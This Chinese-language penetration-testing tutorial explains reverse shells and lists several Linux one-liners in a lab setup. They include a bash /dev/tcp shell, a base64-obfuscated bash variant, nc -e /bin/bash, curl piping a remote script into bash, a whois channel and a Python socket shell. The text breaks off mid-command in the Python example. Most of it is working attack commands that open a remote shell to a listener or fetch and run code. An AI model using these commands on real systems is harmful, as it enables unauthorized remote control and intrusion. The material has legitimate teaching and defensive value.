前言
什么是反弹shell(reverse shell)?
就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么需要反弹shell?
反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。以下详细介绍Windows和Linux系统下反弹shell的几种方式。
一、linux下反弹shell
实验环境:
Win10 192.168.2.102 NC监听
Kali 192.168.2.103 自带工具
1. bash反弹
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
在特殊情况可以使用base64编码执行bash反弹shell
编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -c ‘{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}’
在kali中执行会解析成编码前的bash命令
2.nc反弹
nc -e /bin/bash 192.168.2.102 4444
-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。
3.curl反弹
Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。
curl 192.168.2.103/bash.html|bash
4.whois反弹
whois -h 192.168.2.102 -p 4444 pwd
//反弹的shell只能执行后面带的命令
5.python反弹
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.2.102”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["